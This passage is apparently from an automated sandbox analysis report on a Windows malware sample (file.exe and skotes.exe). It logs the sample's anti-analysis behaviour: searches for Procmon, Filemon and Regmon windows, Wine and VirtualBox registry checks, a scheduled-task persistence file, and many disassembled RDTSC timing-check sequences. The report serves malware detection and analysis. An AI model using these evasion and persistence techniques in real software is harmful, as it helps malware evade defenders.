Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsDAFBGHCAKK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFC72 second address: 5DFC78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFC78 second address: 5DFC7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760430 second address: 760435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760435 second address: 760449 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnl 00007FB4247A5756h 0x00000009 jne 00007FB4247A5756h 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760449 second address: 76045B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB424D5263Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760722 second address: 76072E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FB4247A5756h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76072E second address: 760758 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D5263Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB424D52645h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760758 second address: 760767 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4247A575Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760767 second address: 76076F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760C08 second address: 760C2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4247A5769h 0x00000007 jng 00007FB4247A5756h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760D7E second address: 760D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760D87 second address: 760D8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762EBB second address: 762EC1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762EC1 second address: 5DFC72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4247A5768h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 33796D2Eh 0x00000010 cld 0x00000011 push dword ptr [ebp+122D0AF5h] 0x00000017 mov dword ptr [ebp+122D29B0h], esi 0x0000001d call dword ptr [ebp+122D19EFh] 0x00000023 pushad 0x00000024 add dword ptr [ebp+122D2817h], ebx 0x0000002a xor eax, eax 0x0000002c jmp 00007FB4247A5766h 0x00000031 pushad 0x00000032 mov dh, 64h 0x00000034 mov ax, 8D12h 0x00000038 popad 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d jnp 00007FB4247A5763h 0x00000043 pushad 0x00000044 xor eax, dword ptr [ebp+122D3B14h] 0x0000004a and di, 1773h 0x0000004f popad 0x00000050 jmp 00007FB4247A5768h 0x00000055 mov dword ptr [ebp+122D3914h], eax 0x0000005b cmc 0x0000005c mov esi, 0000003Ch 0x00000061 jmp 00007FB4247A5769h 0x00000066 add esi, dword ptr [esp+24h] 0x0000006a stc 0x0000006b lodsw 0x0000006d jne 00007FB4247A575Ch 0x00000073 add eax, dword ptr [esp+24h] 0x00000077 add dword ptr [ebp+122D3018h], eax 0x0000007d je 00007FB4247A5757h 0x00000083 stc 0x00000084 mov ebx, dword ptr [esp+24h] 0x00000088 pushad 0x00000089 mov esi, 3E652106h 0x0000008e mov edx, edi 0x00000090 popad 0x00000091 nop 0x00000092 push eax 0x00000093 push edx 0x00000094 jmp 00007FB4247A575Fh 0x00000099 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762F29 second address: 762F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB424D52636h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76317C second address: 763181 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7631ED second address: 763213 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D5263Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a cld 0x0000000b push 00000000h 0x0000000d clc 0x0000000e call 00007FB424D52639h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763213 second address: 763217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763217 second address: 763230 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D52645h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763230 second address: 763274 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4247A5768h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FB4247A5769h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 pushad 0x00000015 jl 00007FB4247A5756h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763274 second address: 76327C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 784848 second address: 784866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB4247A5765h 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 784866 second address: 78487A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D52640h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78487A second address: 7848A7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB4247A5758h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007FB4247A5776h 0x00000012 pushad 0x00000013 jmp 00007FB4247A5760h 0x00000018 pushad 0x00000019 popad 0x0000001a jbe 00007FB4247A5756h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75934D second address: 759351 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759351 second address: 759363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FB4247A5758h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759363 second address: 759369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782602 second address: 782620 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB4247A5756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FB4247A5761h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7827BA second address: 7827C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78291D second address: 78295A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB4247A5756h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FB4247A5762h 0x00000011 push ebx 0x00000012 pushad 0x00000013 jp 00007FB4247A5756h 0x00000019 jmp 00007FB4247A5765h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782AC6 second address: 782ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782ACC second address: 782AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782DA1 second address: 782DB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007FB424D52653h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782DB2 second address: 782DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB4247A5767h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782DCD second address: 782DE7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB424D52642h 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782DE7 second address: 782DF1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB4247A5756h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 783193 second address: 783198 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 783418 second address: 78342A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jp 00007FB4247A5756h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779283 second address: 77929E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jns 00007FB424D52642h 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74BF47 second address: 74BF51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FB4247A5756h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74BF51 second address: 74BF55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78400E second address: 784026 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4247A5764h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 784026 second address: 78402B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7841B6 second address: 7841D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4247A5769h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787BA9 second address: 787BAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787BAE second address: 787BEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FB4247A5756h 0x00000009 jmp 00007FB4247A5760h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [eax] 0x00000013 push esi 0x00000014 push edi 0x00000015 pushad 0x00000016 popad 0x00000017 pop edi 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FB4247A5762h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788EF2 second address: 788EFE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB424D52636h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788EFE second address: 788F14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB4247A5762h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788F14 second address: 788F38 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 jp 00007FB424D52636h 0x0000001b popad 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 push edi 0x00000022 pop edi 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791E0E second address: 791E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791E14 second address: 791E35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB424D52648h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7911FF second address: 791213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007FB4247A575Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791378 second address: 79137D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79137D second address: 791383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7919A3 second address: 7919A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7919A9 second address: 7919C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push edx 0x00000007 jmp 00007FB4247A5761h 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7919C8 second address: 7919CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791B74 second address: 791B78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793305 second address: 793309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793B4D second address: 793B52 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793FF5 second address: 79400E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D52642h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794136 second address: 794141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FB4247A5756h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7973D4 second address: 7973D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 797EA1 second address: 797F33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FB4247A5756h 0x00000009 jc 00007FB4247A5756h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp], eax 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007FB4247A5758h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f push ebx 0x00000030 mov esi, 2E6798C6h 0x00000035 pop esi 0x00000036 push 00000000h 0x00000038 mov edi, dword ptr [ebp+122D3A98h] 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push ecx 0x00000043 call 00007FB4247A5758h 0x00000048 pop ecx 0x00000049 mov dword ptr [esp+04h], ecx 0x0000004d add dword ptr [esp+04h], 0000001Ch 0x00000055 inc ecx 0x00000056 push ecx 0x00000057 ret 0x00000058 pop ecx 0x00000059 ret 0x0000005a push eax 0x0000005b pushad 0x0000005c pushad 0x0000005d pushad 0x0000005e popad 0x0000005f jmp 00007FB4247A5760h 0x00000064 popad 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007FB4247A575Eh 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79886D second address: 798873 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C702 second address: 79C707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79CCC5 second address: 79CCCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79DC27 second address: 79DC2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79DC2D second address: 79DCB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D52643h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FB424D5263Ch 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007FB424D52638h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a call 00007FB424D52649h 0x0000002f jp 00007FB424D5263Ch 0x00000035 jo 00007FB424D52636h 0x0000003b pop ebx 0x0000003c push 00000000h 0x0000003e pushad 0x0000003f or dword ptr [ebp+122D1F31h], edi 0x00000045 mov ax, si 0x00000048 popad 0x00000049 push 00000000h 0x0000004b mov dword ptr [ebp+122D1B23h], edi 0x00000051 xchg eax, esi 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 pop edx 0x00000057 pop eax 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79CE37 second address: 79CE42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB4247A5756h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79CE42 second address: 79CE56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB424D52640h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79CE56 second address: 79CE5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79CF67 second address: 79CF6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79CF6B second address: 79CF75 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB4247A5756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79EDBD second address: 79EDC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A0CA7 second address: 7A0CAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79FD6E second address: 79FD85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB424D52643h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1D5A second address: 7A1D5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A0E89 second address: 7A0E8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2D83 second address: 7A2D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2D87 second address: 7A2D98 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FB424D52636h 0x00000011 rdtsc
